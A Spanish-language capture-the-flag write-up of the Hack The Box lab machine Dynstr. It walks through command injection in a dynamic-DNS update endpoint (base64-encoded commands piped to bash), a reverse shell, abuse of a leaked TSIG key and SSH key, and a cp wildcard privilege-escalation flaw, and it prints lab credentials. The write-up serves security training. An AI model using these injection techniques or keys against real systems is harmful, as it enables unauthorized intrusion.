This page looks best with JavaScript enabled

Hack The Box - Dynstr

 •  ✍️ sckull

Dynstr presenta un "sistema" similar a no-ip donde logramos realizar command injection para obtener acceso. SSH tiene un tipo de autenticacion diferente, accedimos por este servicio agregando registros DNS y utilizando la clave privada de un archivo de log. Escalamos privilegios mediante Wildcards para el comando cp en la ejecucion de un script.

Nombre dynstr box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.10.244
Maker

jkr

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.3, 5.6, 4.2, 5.8, 4.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[4, 6, 1, 9, 4],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Nmap

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), dns (53), ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.91 scan initiated Fri Jun 18 20:24:11 2021 as: nmap -sV -sC -p22,53,80 -oN scan_ports 10.10.10.244
Nmap scan report for 10.10.10.244 (10.10.10.244)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 18 20:24:29 2021 -- 1 IP address (1 host up) scanned in 17.85 seconds

Web Site

La pagina muestra distintos servicios, en esta seccion encontramos algunos dominios y tambien unas credenciales, tambien observamos el dominio dyna.htb que tomamos como dominio principal.
image

Asi mismo encontramos informacion acerca de una API, la misma que no-ip.com.

We are providing dynamic DNS for anyone with the same API as no-ip.com has. Maintaining API conformance helps make clients work properly.

Utilizamos dig para realizar una solicitud utilizando como servidor la ip, en su respuesta vemos dos subdominios dns1 y hostmaster.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 π ~/htb/dynstr ❯ dig dyna.htb @10.10.10.244

; <<>> DiG 9.16.11-Debian <<>> dyna.htb @10.10.10.244
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57168
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: be199b3ca41ec6560100000060cd3ea516dc261a342f5893 (good)
;; QUESTION SECTION:
;dyna.htb.			IN	A

;; AUTHORITY SECTION:
dyna.htb.		60	IN	SOA	dns1.dyna.htb. hostmaster.dyna.htb. 2021030302 21600 3600 604800 60

;; Query time: 80 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Fri Jun 18 20:31:23 EDT 2021
;; MSG SIZE  rcvd: 117

 π ~/htb/dynstr ❯

Agregamos los distintos dominios y subdmonios al archivo /etc/hosts, al visitar cada uno de estos encontramos la misma pagina.

1
2
3
4
5
6
dyna.htb
dnsalias.htb
dynamicdns.htb
no-ip.htb
dns1.dyna.htb
hostmaster.dyna.htb

Directory Brute Forcing

Realizamos una busqueda de directorios y archivos utilizando feroxbuster al dominio dyna.htb, encontramos el directorio nic, vemos index y update.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/dynstr ❯ feroxbuster -u http://10.10.10.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.244/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403        9l       28w      277c http://10.10.10.244/server-status
301        9l       28w      313c http://10.10.10.244/assets
301        9l       28w      310c http://10.10.10.244/nic
301        9l       28w      317c http://10.10.10.244/assets/css
200        1l        1w        8c http://10.10.10.244/nic/update
301        9l       28w      319c http://10.10.10.244/assets/fonts
301        9l       28w      316c http://10.10.10.244/assets/js

no-ip

Al visitar update solo se muestra un mensaje de badauth, seguramente necesita algun tipo de autenticacion.
image

Realizando una busqueda por Google (badauth, /nic/update) encontramos informacion referente a DynDNS, donde se indican el error badauth y los tipos de autenticacion (docs - dyn.com, doc no-ip.com) informacion que esta relacionada a no-ip.com de la descripcion de los servicios.

La descripcion de no-ip.com indica como se debe de realizar una solicitud para realizar una actualizacion de DNS dinamico, utilizamos las credenciales para autenticarnos en /update utilizando el header Authorization y codificando en base64 usuario:contraseña, además utilizamos el User-Agent de Software.

1
2
3
π ~/htb/dynstr ❯ echo -n "dynadns:sndanyd"|base64
ZHluYWRuczpzbmRhbnlk
 π ~/htb/dynstr ❯

De tal forma que nuestra solicitud quedaría de la siguiente forma, y, utilizando burpsuite enviamos la solicitud.

1
2
3
4
GET /nic/update?myip=10.10.14.21&hostname=dyna.htb HTTP/1.1
Host: dynupdate.no-ip.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Company NameOfProgram/OSVersion-ReleaseVersion maintainer-contact@example.com

El resultado fue un error 911.

1
2
3
4
5
HTTP/1.1 200 OK
[... REDACTED ...]
Content-Type: text/html; charset=UTF-8

911 [wrngdom: htb]

Ya que esta utilizando la API de no-ip.com debemos de pasarle un hostname seguido de no-ip.htb en este caso. Vemos un mensaje, lo que significa que el hostname se actualizó a la direccion dada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# REQUEST
GET /nic/update?myip=10.10.14.21&hostname=test.no-ip.htb HTTP/1.1
Host: dynupdate.no-ip.htb
Authorization: Basic ZHluYWRuczpzbmRhbnlk
User-Agent: Company NameOfProgram/OSVersion-ReleaseVersion maintainer-contact@example.com

# RESPONSE
HTTP/1.1 200 OK
[... REDACTED ...]
Content-Type: text/html; charset=UTF-8

good 10.10.14.21

Utilizando dig encontramos que nuestra direccion IP esta relacionada con test.no-ip.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
π ~/htb/dynstr ❯ dig @dyna.htb test.no-ip.htb

; <<>> DiG 9.16.11-Debian <<>> @dyna.htb test.no-ip.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36063
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c0bc6e031af14f120100000060cd85fdb16839b5fbe4a944 (good)
;; QUESTION SECTION:
;test.no-ip.htb.			IN	A

;; ANSWER SECTION:
test.no-ip.htb.		30	IN	A	10.10.14.21

;; Query time: 67 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Sat Jun 19 01:35:47 EDT 2021
;; MSG SIZE  rcvd: 87

 π ~/htb/dynstr ❯

User - www-data

Jugando con los parametros de la solicitud encontramos algunos errores uno de estos muestra el servidor y la zona, el segundo muestra un error nsupdate failed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# REQUEST
GET /nic/update?myip=10.10.14.21&hostname="test.no-ip.htb HTTP/1.1

# RESPONSE
HTTP/1.1 200 OK
[... REDACTED ...]
Content-Type: text/html; charset=UTF-8

server 127.0.0.1
zone no-ip.htb
update delete test.no-ip.htb
good 10.10.14.21
1
2
3
4
5
6
7
8
9
# REQUEST
GET /nic/update?myip=10.10.14.21&hostname=*test.no-ip.htb HTTP/1.1

# RESPONSE
HTTP/1.1 200 OK
[... REDACTED ...]
Content-Type: text/html; charset=UTF-8

911 [nsupdate failed]

Command Injection

Google muestra que el error nsupdate failed esta relacionado a algunos comandos y encontramos que es un comando para Actualizacion de DNS dinamico, por lo que seguramente se esté utilizando un comando y los parametros de hostname para realizar estas solicitudes, en tal caso podriamos inyectar comandos.

Intentamos diferentes payloads pero al intentar realizar algun tipo de solicitud hacia nuestra direccion IP, se mostraba un error.

1
2
3
4
5
6
# GET /nic/update?myip=10.10.14.21&hostname=$(ping+-c+1+10.10.14.21)test.no-ip.htb HTTP/1.1
HTTP/1.1 200 OK
[... REDACTED ...]
Content-Type: text/html; charset=UTF-8

911 [wrngdom: 10.14.21)test.no-ip.htb]

Ping

Utilizamos base64 para codificar nuestro comando y en la solicitud decodificarlo y ejecutarlo.

1
2
3
π ~/htb/dynstr ❯ echo -n "ping -c 3 10.10.14.21"|base64
cGluZyAtYyAzIDEwLjEwLjE0LjIx
 π ~/htb/dynstr ❯

Enviamos la solicitud y en nuestra consola obtuvimos un ping desde la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# GET /nic/update?myip=10.10.14.21&hostname=$(echo+cGluZyAtYyAzIDEwLjEwLjE0LjIx|base64+-d|bash)test.no-ip.htb HTTP/1.1

π ~/htb/dynstr/tmp/noip-2.1.9-1 ❯ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:54:29.421039 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 13, seq 1, length 64
01:54:29.421073 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 13, seq 1, length 64
01:54:30.446172 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 13, seq 2, length 64
01:54:30.446188 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 13, seq 2, length 64
01:54:31.451630 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 13, seq 3, length 64
01:54:31.451665 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 13, seq 3, length 64
01:54:31.681942 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 14, seq 1, length 64
01:54:31.681977 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 14, seq 1, length 64
01:54:32.777181 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 14, seq 2, length 64
01:54:32.777216 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 14, seq 2, length 64
01:54:33.596883 IP dynstr.htb > 10.10.14.21: ICMP echo request, id 14, seq 3, length 64
01:54:33.596922 IP 10.10.14.21 > dynstr.htb: ICMP echo reply, id 14, seq 3, length 64

Shell

Codificamos una shell inversa, en la solicitud cambiamos + por %2b, al enviar la solicitud logramos obtener acceso con el usuario www-data.

1
2
3
4
5
6
7
8
 π ~/htb/dynstr ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.21] from dynstr.htb [10.10.10.244] 46752
bash: cannot set terminal process group (754): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ whoami
www-data
www-data@dynstr:/var/www/html/nic$

User - Bindmrg

Encontramos el codigo fuente de update y vemos que ejecuta system() y, mediante echo pasa los valores enviados en los parametros, para poder asi ejecutar el comando nsupdate.

1
2
3
4
5
echo "server 127.0.0.1
zone no-ip.htb
update delete test.no-ip.htb
update add test.no-ip.htb 30 IN A no-ip.htb 
send" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key"
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
  // Check authentication
  if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']))      { echo "badauth\n"; exit; }
  if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }

  // Set $myip from GET, defaulting to REMOTE_ADDR
  $myip = $_SERVER['REMOTE_ADDR'];
  if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP))                       { $myip = $valid; }

  if(isset($_GET['hostname'])) {
    // Check for a valid domain
    list($h,$d) = explode(".",$_GET['hostname'],2);
    $validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
    if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
    // Update DNS entry
    $cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
    system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
    // Return good or 911
    if (!$retval) {
      echo "good $myip\n";
    } else {
      echo "911 [nsupdate failed]\n"; exit;
    }
  } else {
    echo "nochg $myip\n";
  }
?>

Enumerando los directorios en /home encontramos en el archivo authorized_keys la “opcion” from, segun la documentacion indica que pueden ser añadidos varias direcciones IP, y de esta forma incrementar la seguridad a la hora de ingresar por medio de SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
www-data@dynstr:/home/bindmgr/.ssh$ ls -lah
total 24K
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 12:09 .
drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr  419 Mar 13 12:00 authorized_keys
-rw------- 1 bindmgr bindmgr 1.8K Mar 13 11:48 id_rsa
-rw-r--r-- 1 bindmgr bindmgr  395 Mar 13 11:48 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr  444 Mar 13 12:09 known_hosts
www-data@dynstr:/home/bindmgr/.ssh$ cat aut*
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
www-data@dynstr:/home/bindmgr/.ssh$

Tambien vemos el archivo id_rsa e id_rsa.pub en el log de strace de la ejecucion de curl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -lah
total 436K
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 14:53 .
drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 ..
-rw-r--r-- 1 bindmgr bindmgr 232K Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29K Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1.2K Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 160K Mar 13 14:52 strace-C62796521.txt
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
[... REDACTED ...]
openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa.pub", O_RDONLY) = 5
fstat(5, {st_mode=S_IFREG|0644, st_size=395, ...}) = 0
read(5, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen\n", 4096) = 395
[... REDACTED ...]
openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjC[... REDACTED ...]BQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
read(5, "", 4096)

Aunque todos los hosts permitidos deben de estar en HOSTNAME.infra.dyna.htb si vemos el codigo de update cuando ejecuta nsupdate utiliza una llave que se encuentra en el directorio /etc/bind/.

1
2
3
4
5
echo "server 127.0.0.1
zone no-ip.htb
update delete test.no-ip.htb
update add test.no-ip.htb 30 IN A no-ip.htb 
send" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key"

En este mismo directorio se encuentra la llave y configuracion para infra.key, vemos que es posible agregar un hostname en [hostname].dyna.htb, que es lo que necesitamos para poder ingresar por medio de SSH. Además vemos tambien que esta configurado para una busqueda de DNS inversa para las direcciones “locales” y “externas” 168.192.in-addr.arpa y 10.in-addr.arpa respectivamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
www-data@dynstr:/etc/bind$ cat infra.key
key "infra-key" {
  algorithm hmac-sha256;
  secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
www-data@dynstr:/etc/bind$ cat named.conf.local
//
// Do any local configuration here
//

// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; 
                     file "dyna.htb.zone"; 
                     update-policy { grant infra-key zonesub ANY; }; 
                   };
zone "10.in-addr.arpa" IN { type master; 
                            file "10.in-addr.arpa.zone"; 
                            update-policy { grant infra-key zonesub ANY; }; 
                          };
zone "168.192.in-addr.arpa" IN { type master; 
                                  file "168.192.in-addr.arpa.zone"; 
                                  update-policy { grant infra-key zonesub ANY; }; 
                                };

// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };

// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";
www-data@dynstr:/etc/bind$

Registro .infra

Siguiendo la documentacion creamos un comando para agregar un registro de DNS dinamico en .infra.dyna.htb.

  • La opcion A es para direcciones IPv4
  • Tiempo de vida 86400 segundos (1 dia)
1
2
3
4
echo "server 127.0.0.1
zone dyna.htb
update add blog.infra.dyna.htb 86400 A 10.10.14.21
send" | /usr/bin/nsupdate -k /etc/bind/infra.key

Al ejecutar dicho comando utilizamos dig para verificar que dicho registro apunte a nuestra direccion IP, lo cual logramos confirmar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
www-data@dynstr:/etc/bind$ echo "server 127.0.0.1
> zone dyna.htb
> update add blog.infra.dyna.htb 86400 A 10.10.14.21
send" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
www-data@dynstr:/etc/bind$ dig @127.0.0.1 blog.infra.dyna.htb

; <<>> DiG 9.16.1-Ubuntu <<>> @127.0.0.1 blog.infra.dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26914
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 53e13e7ed08396d00100000060cd9d9dcd29fcb3ce76e02f (good)
;; QUESTION SECTION:
;blog.infra.dyna.htb.   IN  A

;; ANSWER SECTION:
blog.infra.dyna.htb.  86400 IN  A 10.10.14.21

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Jun 19 09:32:45 CEST 2021
;; MSG SIZE  rcvd: 92

www-data@dynstr:/etc/bind$

Registro Dns Inversa

De la misma forma que en INFRA, agregamos un registro de DNS inversa, tomando en cuenta la informacion de wikipedia.

Resolución inversa IPv4
… Por ejemplo, una dirección (A) para mail.example.com apunta a la dirección IP 192.0.2.5. En los registros de puntero de la base de datos inversa, esta dirección IP se almacena como el nombre de dominio 5.2.0.192.in-addr.arpa apuntando de nuevo a su nombre de host mail.example.com designado. …

Siguiendo ese ejemplo nuestra direccion IP quedaria de la siguiente forma.

1
2
3
4
5
# mail.example.com --> 192.0.2.5
# DNS inversa      --> 5.2.0.192.in-addr.arpa

blog.infra.dyna.htb  --> 10.10.14.21
DNS inversa          --> 21.14.10.10.in-addr.arpa

Siguiendo algunos ejemplos creamos un comando para agregar el registro.

1
2
3
4
echo "server 127.0.0.1
zone 10.in-addr.arpa
update add 21.14.10.10.in-addr.arpa 86400 IN PTR blog.infra.dyna.htb 
send" | /usr/bin/nsupdate -d -k /etc/bind/infra.key

El registro se agrego sin errores.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
www-data@dynstr:/home/bindmgr/.ssh$ echo "server 127.0.0.1
> zone 10.in-addr.arpa
> update add 21.14.10.10.in-addr.arpa 86400 IN PTR blog.infra.dyna.htb
> send" | /usr/bin/nsupdate -d -k /etc/bind/infra.key
Creating key...
Creating key...
namefromtext
keycreate
Sending update to 127.0.0.1#53
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:  31642
;; flags:; ZONE: 1, PREREQ: 0, UPDATE: 1, ADDITIONAL: 1
;; ZONE SECTION:
;10.in-addr.arpa.   IN  SOA

;; UPDATE SECTION:
21.14.10.10.in-addr.arpa. 86400 IN  PTR blog.infra.dyna.htb.

;; TSIG PSEUDOSECTION:
infra-key.    0 ANY TSIG  hmac-sha256. 1624089193 300 32 d/fHeQ/cupRuCwGzWj/OtZwsDZ9Cx48laY79uPrYjII= 31642 NOERROR 0


Reply from update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:  31642
;; flags: qr; ZONE: 1, PREREQ: 0, UPDATE: 0, ADDITIONAL: 1
;; ZONE SECTION:
;10.in-addr.arpa.   IN  SOA

;; TSIG PSEUDOSECTION:
infra-key.    0 ANY TSIG  hmac-sha256. 1624089193 300 32 eB5IdsUPb9C++4TwR58TMsS6gue2nYDfcJwtpdir2Os= 31642 NOERROR 0

www-data@dynstr:/home/bindmgr/.ssh$

Shell

Finalmente utilizamos la clave privada que encontramos con el usuario bindmgr, logramos obtener acceso y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/dynstr ❯ ssh bindmgr@dyna.htb -i id_rsa_bindmgr
Last login: Tue Jun  8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ whoami
bindmgr
bindmgr@dynstr:~$ ls -lah
total 36K
drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 .
drwxr-xr-x 4 root    root    4.0K Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3.7K Feb 25  2020 .bashrc
drwx------ 2 bindmgr bindmgr 4.0K Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Jun 19 01:38 user.txt
bindmgr@dynstr:~$ cat user.txt
7f333fc7f1894bf789487dc34043ef9e
bindmgr@dynstr:~$

Privesc

Tras ejecutar sudo -l -l vemos que tenemos permisos sudo (root) para ejecutar el script bindmgr.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
bindmgr@dynstr:~$ sudo -l -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:

Sudoers entry:
    RunAsUsers: ALL
    Options: !authenticate
    Commands:
  /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$

Dicho script crea un archivo como /etc/bind/named.conf, inicia verificando si el archivo .version existe y si contiene un numero, luego de eso incluye todos los archivos del directorio actual (pwd) dentro del archivo /etc/bind/named.conf.bindmgr y copia todos los archivos del directorio actual (pwd) a /etc/bind/named.bindmgr/, finalmente reinicia el servicio bind9.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/bash

# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
  systemctl status bind9
    else
  echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

Wildcards - root.txt

El script utiliza asterisco (*) para copiar los archivos de la carpeta actual lo que lo hace vulnerable.

1
cp .version * /etc/bind/named.bindmgr/

